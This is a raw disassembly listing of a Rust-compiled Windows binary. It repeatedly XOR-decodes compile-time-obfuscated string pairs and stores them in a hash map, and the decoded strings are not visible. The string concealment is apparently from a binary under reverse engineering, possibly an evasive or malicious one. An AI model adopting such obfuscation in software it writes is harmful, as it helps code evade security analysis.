lea rdi, [rsp + 0x1930]
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140064b79
test rax, rax
je 0x140064b79
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b1f9f]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x4751a38d
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h9c2c5de4963becaa
mov edi, dword [rax]
movzx ebp, word [rax + 4]
movzx eax, byte [0x1404a5170]
mov edx, 6
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e751
mov ecx, ebp
shr ecx, 8
xor cl, 0xba
movzx ecx, cl
shl rcx, 0x28
xor bpl, 0x89
movzx edx, bpl
shl rdx, 0x20
or rdx, rcx
xor edi, 0x31b72520
mov dword [rax], edi
shr rdx, 0x20
mov word [rax + 4], dx
mov qword [rsp + 0x900], 6
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 6
lea rax, [0x1403b7108]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x6107e758
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h10b073af8e058d35
movabs rcx, 0xb68169459bd89118
xor rcx, qword [rax]
movabs rdx, 0x45a54256ee9916b1
xor rdx, qword [rax + 8]
movabs r8, 0xfc2eaea150116081
xor r8, qword [rax + 0x10]
movabs r9, 0xbedab53516a9d1dc
xor r9, qword [rax + 0x18]
movabs r10, 0x1057a535e7f0406b
xor r10, qword [rax + 0x20]
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov qword [rsp + 0xbf0], r10
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x28
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
lea rdi, [rsp + 0x1948]
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140064dab
test rax, rax
je 0x140064dab
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b93c3]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xefb93258
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h07c2905bb5a8c479
mov edi, dword [rax]
movzx ebp, word [rax + 4]
movzx r15d, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
shl r15d, 0x10
or ebp, r15d
mov ecx, ebp
shr ecx, 0x10
xor cl, 0xef
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, ebp
shr edx, 8
xor dl, 0x37
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor bpl, 0xbb
movzx ecx, bpl
shl rcx, 0x20
or rcx, rdx
xor edi, 0x9cea0286
mov dword [rax], edi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403b5e1e]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xd52de17e
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h47a0bf15f048d60b
movabs rcx, 0xbe09850974af6cb5
xor rcx, qword [rax]
movabs rdx, 0x1fe6b9b85bb4a9fd
xor rdx, qword [rax + 8]
movabs r8, 0x5c1533d8d2ea67d0
xor r8, qword [rax + 0x10]
movabs r9, 0xfd0c6c6cb7a7930f
xor r9, qword [rax + 0x18]
movabs r10, 0x5b54498b60bb51ac
xor r10, qword [rax + 0x20]
movzx eax, byte [rax + 0x28]
xor al, 0x99
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov qword [rsp + 0xbf0], r10
mov byte [rsp + 0xbf8], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x29
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
lea rdi, [rsp + 0x1960]
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14006500b
test rax, rax
je 0x14006500b
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b4972]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x297ef2c7
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h17e7620391db8028
mov r15, qword [rax]
movzx edi, word [rax + 8]
movzx ebp, byte [rax + 0xa]
movzx eax, byte [0x1404a5170]
mov edx, 0xb
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e742
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x71
mov edx, edi
shr edx, 8
xor dl, 0x18
xor dil, 0x2d
movabs r8, 0x734addf787e14861
xor r15, r8
mov qword [rax], r15
mov byte [rax + 8], dil
mov byte [rax + 9], dl
mov byte [rax + 0xa], cl
mov qword [rsp + 0x900], 0xb
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xb
lea rax, [0x1403b1cab]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xe765c64c
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h006c3a5bdbaec18e
movabs rcx, 0xa98a08f2c99cb16a
xor rcx, qword [rax]
movabs rdx, 0x63f96d4afa13abb8
xor rdx, qword [rax + 8]
movabs r8, 0x3e3f5d6884514622
xor r8, qword [rax + 0x10]
movabs r9, 0xb37163367d4c381
xor r9, qword [rax + 0x18]
movabs r10, 0x682cfad9d7d15bab
xor r10, qword [rax + 0x20]
mov r11d, 0x19838d22
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0x11
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov qword [rsp + 0xbf0], r10
mov dword [rsp + 0xbf8], r11d
mov byte [rsp + 0xbfc], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x2d
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
lea rdi, [rsp + 0x1978]
lea rdx, [rsp + 0xd0]
mov rcx, rdi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rdi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140065266
test rax, rax
je 0x140065266
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b64a7]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x7b9bbaf4
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h9b9cdd8974f0b356
mov edi, dword [rax]
movzx ebp, byte [rax + 4]
movzx eax, byte [0x1404a5170]
mov edx, 5
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6e9
xor bpl, 0xf6
xor edi, 0xd847e763
mov byte [rax + 4], bpl
mov dword [rax], edi
mov qword [rsp + 0x900], 5
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 5
lea rax, [0x1403afbe0]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xe954a75b
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h8fb2ca1940b031dc
movabs rcx, 0x6a709600ff29909d
xor rcx, qword [rax]
movabs rdx, 0x835f8bff6ea5e158
xor rdx, qword [rax + 8]
movabs r8, 0x8eb149aa362a0f0f
xor r8, qword [rax + 0x10]
movabs r9, 0x9abfeb9570f1768
xor r9, qword [rax + 0x18]
movabs r10, 0xdad174e1b9e05567
xor r10, qword [rax + 0x20]
mov r11d, 0x7de8f627
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0x91
mov qword [rsp + 0xbd0], rcx
mov qword [rsp + 0xbd8], rdx
mov qword [rsp + 0xbe0], r8
mov qword [rsp + 0xbe8], r9
mov qword [rsp + 0xbf0], r10
mov dword [rsp + 0xbf8], r11d
mov byte [rsp + 0xbfc], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x2d
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 2
lea rsi, [rsp + 0x1990]
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140065499
test rax, rax
je 0x140065499
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b90a0]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x8a89110d
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h640bbbd5d42e5c53
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0xa
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x8c
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0x4f
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0xa353f771
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403b2485]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x75a20faa
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::ha3601fbcb7dbf23e
movabs rcx, 0xba3b0f4c5005962
xor rcx, qword [rax]
movabs rdx, 0x3d45f892ca1ccb6a
xor rdx, qword [rax + 8]
movabs r8, 0xfe0b42a4c8a8ce99
xor r8, qword [rax + 0x10]
movabs r9, 0xdcc02bf25daeb8eb
xor r9, qword [rax + 0x18]
movabs r10, 0x77c428daee7ee28d
xor r10, qword [rax + 0x20]
movabs r11, 0xb62fbebaa93d2715
xor r11, qword [rax + 0x28]
movzx eax, byte [rax + 0x30]
xor al, 0x86
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov byte [rsp + 0x100], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x31
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x19a8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140065714
test rax, rax
je 0x140065714
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403ba55b]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xd8320cdb
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h1f320e6a28753d4c
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x6a
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x89
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xa
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0x45e046d7
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403bc01f]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x2bf7591f
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h13b40aabbcf9b987
movabs rcx, 0x822b5b3f56fce5fe
xor rcx, qword [rax]
movabs rdx, 0x8f07cc18c0d53cb9
xor rdx, qword [rax + 8]
movabs r8, 0x56bcf416a61a1c1a
xor r8, qword [rax + 0x10]
movabs r9, 0xfffb2be1cff45129
xor r9, qword [rax + 0x18]
movabs r10, 0x3e4a119bca6f92e2
xor r10, qword [rax + 0x20]
movabs r11, 0x633d023bf350bb47
xor r11, qword [rax + 0x28]
movzx eax, byte [rax + 0x30]
xor al, 0x46
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov byte [rsp + 0x100], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x31
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x19c0]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14006598f
test rax, rax
je 0x14006598f
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403b3265]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xa7d8b892
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h6f6106755a850b25
mov rdi, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x1404a5170]
mov edx, 0xa
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e82c
mov ecx, esi
shr ecx, 8
xor cl, 0xa8
xor sil, 0xc1
movabs rdx, 0xd51e5bd38343d102
xor rdi, rdx
mov qword [rax], rdi
mov byte [rax + 8], sil
mov byte [rax + 9], cl
mov qword [rsp + 0x900], 0xa
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 0xa
lea rax, [0x1403b326f]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x66f3bcb6
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h95433877609e7527
movabs rcx, 0x2fa38b55b94bb277
xor rcx, qword [rax]
movabs rdx, 0x42d4c14487e98211
xor rdx, qword [rax + 8]
movabs r8, 0xb2c0dd518579ab7a
xor r8, qword [rax + 0x10]
movabs r9, 0xa4f6eb8d843f9564
xor r9, qword [rax + 0x18]
movabs r10, 0x2db4199249699e8e
xor r10, qword [rax + 0x20]
movabs r11, 0x1fef653d7e47d4f1
xor r11, qword [rax + 0x28]
movzx edi, byte [rax + 0x32]
movzx eax, word [rax + 0x30]
mov ebp, eax
shr ebp, 8
xor al, 0xb9
xor bpl, 0x2f
xor dil, 0x5f
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov byte [rsp + 0x100], al
mov byte [rsp + 0x101], bpl
mov byte [rsp + 0x102], dil
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x33
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x19d8]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140065c03
test rax, rax
je 0x140065c03
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403af2ff]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xdab316e8
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h8c8c93fd29e34853
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx eax, byte [0x1404a5170]
mov edx, 6
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e751
mov ecx, edi
shr ecx, 8
xor cl, 2
movzx ecx, cl
shl rcx, 0x28
xor dil, 0x7f
movzx edx, dil
shl rdx, 0x20
or rdx, rcx
xor esi, 0x958f4fa2
mov dword [rax], esi
shr rdx, 0x20
mov word [rax + 4], dx
mov qword [rsp + 0x900], 6
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 6
lea rax, [0x1403b40b5]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x47c0be69
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::hd5cd44b41e4b7f8f
movabs rcx, 0xec277048271ff59e
xor rcx, qword [rax]
movabs rdx, 0xda44006447e05abf
xor rdx, qword [rax + 8]
movabs r8, 0xcd5ecbfa135d0540
xor r8, qword [rax + 0x10]
movabs r9, 0x571142689011bcaa
xor r9, qword [rax + 0x18]
movabs r10, 0x621d14df94d3c506
xor r10, qword [rax + 0x20]
movabs r11, 0x464247a7d054071c
xor r11, qword [rax + 0x28]
mov edi, 0xd862bf7c
xor edi, dword [rax + 0x30]
movzx ebp, byte [rax + 0x36]
movzx eax, word [rax + 0x34]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov dword [rsp + 0x100], edi
mov ecx, eax
xor al, 0xfa
mov byte [rsp + 0x104], al
shr ecx, 8
xor cl, 0x6f
mov byte [rsp + 0x105], cl
xor bpl, 0x22
mov byte [rsp + 0x106], bpl
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x37
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x19f0]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140065e8e
test rax, rax
je 0x140065e8e
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
lea rax, [0x1403aec1c]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0x7bd12336
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h9d0c5d5db1269e5f
mov esi, dword [rax]
movzx edi, word [rax + 4]
movzx ebp, byte [rax + 6]
movzx eax, byte [0x1404a5170]
mov edx, 7
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14006e6b5
shl ebp, 0x10
or edi, ebp
mov ecx, edi
shr ecx, 0x10
xor cl, 0x2e
movzx ecx, cl
mov byte [rax + 6], cl
shl rcx, 0x30
mov edx, edi
shr edx, 8
xor dl, 0x2f
movzx edx, dl
shl rdx, 0x28
or rdx, rcx
xor dil, 0xfe
movzx ecx, dil
shl rcx, 0x20
or rcx, rdx
xor esi, 0x1c08421b
mov dword [rax], esi
shr rcx, 0x20
mov word [rax + 4], cx
mov qword [rsp + 0x900], 7
mov qword [rsp + 0x908], rax
mov qword [rsp + 0x910], 7
lea rax, [0x1403b31dd]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd0]
mov rcx, qword [rsp + 0xd0]
mov dword [rsp + 0xd0], 0xaf2a6ab3
lea rsi, [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
call sym.obfstr::xref::inner::h33f3df54d59f73d6
movabs rcx, 0x9cc934c8e01c3e24
xor rcx, qword [rax]
movabs rdx, 0x6ce6a90f05d55e0
xor rdx, qword [rax + 8]
movabs r8, 0x954afdf9b81de49e
xor r8, qword [rax + 0x10]
movabs r9, 0xea8ba1cc9442a8e3
xor r9, qword [rax + 0x18]
movabs r10, 0x505132a948ffbc35
xor r10, qword [rax + 0x20]
movabs r11, 0x361efea7b6811ccb
xor r11, qword [rax + 0x28]
movabs rdi, 0xac287441d0872202
xor rdi, qword [rax + 0x30]
movzx eax, byte [rax + 0x38]
xor al, 0x31
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov qword [rsp + 0xe0], r8
mov qword [rsp + 0xe8], r9
mov qword [rsp + 0xf0], r10
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], rdi
mov byte [rsp + 0x108], al
mov qword [rsp + 0xf90], rsi
mov qword [rsp + 0xf98], 0x39
mov qword [rsp + 0x5e0], r14
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x5e8], rax
lea rcx, [rsp + 0xf90]
mov qword [rsp + 0x5f0], rcx
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0xbd0], rbx
mov qword [rsp + 0xbd8], 2
mov qword [rsp + 0xbf0], 0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 2
lea rsi, [rsp + 0x1a08]
lea rdx, [rsp + 0xbd0]
mov rcx, rsi
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x1240]
lea r8, [rsp + 0x900]
mov r9, rsi
call sym.hashbrown::map::HashMap_K_V_S_A_::insert::h6e5d647f7e0e58d1
mov rax, qword [rsp + 0xd0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14006611f
test rax, rax
